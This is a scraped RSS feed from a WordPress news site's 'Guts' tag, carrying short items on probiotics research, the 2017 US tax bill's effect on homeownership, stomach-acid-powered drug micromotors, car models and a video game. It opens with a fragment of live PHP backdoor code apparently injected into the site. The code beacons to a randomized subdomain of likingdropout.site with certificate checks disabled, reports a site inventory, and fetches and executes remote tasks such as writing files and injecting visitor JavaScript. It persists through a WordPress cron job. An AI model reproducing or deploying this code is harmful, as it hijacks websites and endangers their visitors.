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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Guts – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 08 Sep 2018 19:24:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Guts – Brief News https://briefnews.eu 32 32 Probiotics: If you don’t just just poop them out, they may muck up your guts https://briefnews.eu/probiotics-if-you-dont-just-just-poop-them-out-they-may-muck-up-your-guts/ https://briefnews.eu/probiotics-if-you-dont-just-just-poop-them-out-they-may-muck-up-your-guts/#respond Sat, 08 Sep 2018 19:24:38 +0000 http://briefnews.eu/probiotics-if-you-dont-just-just-poop-them-out-they-may-muck-up-your-guts/
A scanning electron micrograph of two probiotic bacterial strains, colored blue and red

Enlarge / Lactobacillus acidophilus and L. casei cultured from a commercial probiotic food gel sold in health food stores. (credit: Getty | Scimat)

There’s a pungent cloud of hype and hope around probiotics—and researchers have long tried to clear the air about what the bowel-blasting products can ( and mostly can’t) do. Now, a new set of studies offers a gut-check on funky claims, ripping current probiotics as likely ineffective at boosting health and potentially even causing harm.

In the two studies, both published this week in the journal Cell, Israeli researchers report that bacteria taken in supplements, aka probiotics, often have little impact on healthy people’s innards and, at worst, can elbow out native populations of microbes.

In the first study, the researchers found that healthy microbial populations in people’s plumbing tends to flush out the newcomers. Thus, the microbial interlopers from supplements have little impact on resident microbiomes—and, by extension, consumers’ health—and are largely just pooped out.

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]]> https://briefnews.eu/ingestible-sensors-electronically-monitor-your-guts/feed/ 0 Buick Envision Refreshed for 2019: Now with More Available Guts https://briefnews.eu/buick-envision-refreshed-for-2019-now-with-more-available-guts/ https://briefnews.eu/buick-envision-refreshed-for-2019-now-with-more-available-guts/#respond Tue, 27 Feb 2018 08:39:49 +0000 http://briefnews.eu/buick-envision-refreshed-for-2019-now-with-more-available-guts/ 2019-Buick-Envision-PLACEMENT

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When Buick announced the Envision for the U.S. market for the 2016 model year, it marked a milestone for the American auto industry. Buick needed a crossover between the small Encore and the large Enclave and found production capacity for the new Envision in China. American workers growled. Buick worried that all some corners of the automotive press would talk about was the model’s country of origin. But more than two years down the pike, the Envision has done well for the marque, and it currently stands as its third-best-selling model. With a flurry of new product in its lineup, Buick decided the Envision was in need of a refresh. READ MORE ››

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]]> https://briefnews.eu/buick-envision-refreshed-for-2019-now-with-more-available-guts/feed/ 0 The GOP’s tax bill guts 4 of the biggest tax benefits of homeownership in America https://briefnews.eu/the-gops-tax-bill-guts-4-of-the-biggest-tax-benefits-of-homeownership-in-america/ https://briefnews.eu/the-gops-tax-bill-guts-4-of-the-biggest-tax-benefits-of-homeownership-in-america/#respond Fri, 22 Dec 2017 08:30:10 +0000 http://briefnews.eu/the-gops-tax-bill-guts-4-of-the-biggest-tax-benefits-of-homeownership-in-america/ Baltimore houses

  • The GOP’s tax bill will impact the housing market in four big ways. 
  • It nearly doubles the standard deduction, lowers the cap on the mortgage-interest deduction, caps the deduction for staten and local taxes, and eliminates deduction for in terest on home-equity debt. 
  • The new tax law represents a momentous change for how housing will be promoted in the future.

 

The enormity of this change has not been fully appreciated just yet.

The tax bill now becoming law will impact the housing market in a big way via four mechanisms that gut the government’s subsidies of homeownership:

  • Nearly doubling the standard deduction (but wait…)
  • Lowering the cap on the mortgage interest deduction for new purchase mortgages
  • Capping the deduction for state and local taxes at $ 10,000
  • Eliminating the deduction for interest on home-equity debt, such as HELOCs.

The big equalizer: the new standard deduction

Nearly doubling the standard deduction – from $ 6,350 for individuals and $ 12,700 for married couples filing jointly in 2017 to $ 12,000 and $ 24,000 respectively in 2018 – would be a simple way of giving many Americans an instant, massive, no-hassles tax cut.

But wait: The law also eliminates the personal exemption of $ 4,050 allowed for each family member. A married couple will see an increase in the standard deduction of $ 11,300 (compared to 2017). But it will lose $ 8,100 in personal exemptions. This whittles down the net increase in deductions to $ 3,200. For couples with kids, it gets more complicated.

But whatever this does, it moves all of the up-front deductions and exemptions into the calculus that taxpayers routinely make: Should they use the standard deduction or itemize?

In other words, can a married couple filing jointly come up with over $ 24,000 in deductible expenses, such as mortgage interest? If the answer is no, they will benefit from the new tax law by taking the standard deduction, instead of itemizing and deducting their mortgage interest. And they’ll come out ahead.

Currently, about 44% of US homes are worth enough to carry a mortgage whose interest would be large enough to surpass the old standard deduction, and thus would incentivize homeowners to take the mortgage interest deduction by itemizing, according to Zillow. With the new standard deduction, this proportion of homes drops to 14.4%.

This effectively guts one of the most widely touted government subsidies of homeownership. It levels the playing field between renting and owning. In fact, it’s a particularly big benefit for renters. It’s the great equalizer.

Since it benefits so many households and hurts none of them, it’s devilishly hard to argue against. Nevertheless, the immensely wealthy and powerful lobbying group, the National Association of Realtors – whose constituents make more money when homes churn often and when prices surge – has lobbied fiercely against it. And it lost.

A sucker punch for expensive markets

The mortgage interest deduction was already limited to interest on mortgages of up to $ 1 million. This cap has now been lowered to $ 750,000, but the cap only applies to new purchase mortgages, not existing mortgages.

Most Americans won’t feel it. Their mortgages are not nearly big enough. Only about 4% of purchase mortgages made in 2017 exceeded $ 750,000, according to Attom Data Solutions, cited by the Wall Street Journal:

But a few regions would get hit hard. In Manhattan, for example, 64% of purchase mortgages made this year were for more than $ 750,000, according to Attom. In San Francisco, that proportion is 58%, and the surrounding counties of San Mateo, Marin and Santa Clara register between 44% and 55%.

Black Knight Inc., a mortgage data and technology firm, calculates there are about 684,000 active mortgages with current balances over $ 750,000. Black Knight estimates that about 107,000 loans expected to be made in 2018 would fall above the $ 750,000 cap.

So in many markets, the impact of this provision will be small. In expensive markets, the impact could be significant in various ways, including:

  • Homeowners might stay put in order to maintain the deductibility of their original mortgage of up to $ 1 million.
  • Buyers might want to pay less to keep the mortgage under the cap.
  • Buyers might put down more money so the entire mortgage interest can be deducted.

The thing is, once debt loses its status as a tax benefit, it’s no longer such a great deal.

Might homebuyers already be reacting to the new law? This morning, the NAR announced that existing home sales in November jumped 3.8% year-over-year “and reached their strongest pace in almost 11 years.” Perhaps some people are trying to lock in the deductibility of mortgage interest under the old rules.

The blow to high-tax states

The new law caps deductions for state and local income, sales, and property taxes at $ 10,000. This is not going to impact everyone. According to CoreLogic cited by The Journal, the median property tax bill is about $ 1,740. Only three counties have median property tax bills above $ 10,000 – all of them  in the New York City area. But state income and sales taxes are also part of the package.

So in high-priced markets with high property, income, and sales taxes, this is going to put a damper on the enthusiasm about the tax benefits of owning a home.

The home as an ATM gets costlier

The Home Equity Line of Credit (HELOC) has long been touted as a way to draw money out of the home with a loan whose interest, unlike credit card interest, is deductible. Under the new tax law, the interest on home-equity debt is no longer deductible, which raises costs and makes them less attractive.

In total, at least 23 million fewer households will be motivated to buy a new home under the new law, Zillow figures. Others have different estimates. Whatever the final numbers, one thing is sure: the tax incentives of homeownership have been radically slashed.

There are some caveats

Property speculation is not impacted by these tax deductions. It’s impacted by a mixed bag of factors, such as provisions in the new tax law that favor real estate investors, by interest rates which the Fed is currently trying to nudge up, and by expectations of price increases, which can curdle.

Buying by foreign non-resident investors is also not impacted by the new tax law but responds to other factors, such as current efforts by the US Treasury Department to crack down on money laundering in real estate and by Chinese authorities to crack down on capital outflows.

But households that want to buy a home to live in will weigh the tax situation that they’re in, along with their other needs and wants. They will make compromises, as they always do. Tax benefits are not the only reason for buying a home.

Nevertheless, the new tax law represents a momentous change for how housing will be promoted in the future. The relentless wisdom that buying a home is the smart tax-thing to do will no longer apply for most households. The new law also reduces or eliminates the highly touted tax benefits of debt. Over the years, this will gradually shape how homeownership is being perceived. And I think the enormity of this change has not been fully appreciated just yet.

So in light of this new tax situation, read and hang on to your hat… The Most Expensive Housing Zip Codes in the US

NOW WATCH: Here’s what Trump’s tax plan means for people at every income level from $ 20,000 to $ 269,000 a year

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There’s a reason diabetics can’t take their insulin orally (for the time being): stomach acid is super effective at dissolving it and similar large proteins, like antibiotics. But rather than force patients to pound pints of Maalox or chew a tub of Tums before taking their medicine, a team of researchers at UC San Diego have developed a novel method of getting your medication past the acid by using nearly microscopic drug delivery vehicles which increase the pH as they swim through your stomach.

Conventionally, the medication used to treat maladies like ulcers or bacterial infections, have to be administered alongside a secondary compound known as proton pump inhibitors. These chemicals temporarily halt the production of stomach acid, allowing the medicine to do its work without being destroyed. However, long term use of PPIs can make matters much worse, from headaches and fatigue to anxiety and depression.

UCSD’s “micromotors” are made up of a titanium dioxide protective shell surrounding a spherical magnesium core. Above the TiO2 layer is a layer of antibiotic medication and above that,is another layer made up of a positively-charged polymer that helps the motor stick to the gut wall.

Now here’s the really cool part. These motors use the stomach’s own acid as a fuel source. The magnesium layer reacts to the gastric acid to generate a stream of hydrogen bubbles to produce thrust, while also reducing the amount of acid present. Once the stomach’s pH hits the correct level, the motors release their medication and finish dissolving.

These devices are still in the early days of their development so don’t expect to have your antibiotics squirming through your belly for a few years yet at least.

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Simple family outings seem to get a bit out of hand in Guts and Glory, a game where ordinary families find themselves trying to navigate fields filled with death traps and inattentive pedestrians. That father/son bike ride you were planning on taking just got a little bit more lethal.

Players will take out their family of choice in one of a handful of vehicles, taking them through gauntlets of buzz saws, spikes, explosives, turrets, and all kinds of other devices that will wreck that peaceful Sunday drive. All players have to do is avoid them all, without getting blown away in a ridiculous display of ragdoll physics and severed limbs, and make it to the finish line.

Guts and Glory‘s Early Access release also comes with a level editor so players can make their own lethal tracks for their friends to die inside of. You can also make suggestions to the dev team at Hakjak as they continue to work on it, helping this game become even more outlandish than it already is.

Suddenly, family outings don’t seem so dull any more.

Guts and Glory is available for $ 9.99 on Steam Early Access. For more information on the game and developer Hakjak Productions, you can head to the game’s site, the developer’s site, or follow them on Facebook, YouTube, and Twitter.

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There’s a Ram 1500 for everyone—or so it seems, what with 11 different models and several class exclusives. It’s the only full-size pickup to offer an optional diesel engine for optimal fuel economy (for now) and an air suspension for carlike cruising. While the ride is faultless, the diesel comes at a premium and forgoes any semblance of performance. Nevertheless, the Ram 1500 has capable alternatives in an aging but reliable V-6 and a throaty V-8, and every model gets an effortless eight-speed automatic. READ MORE ››

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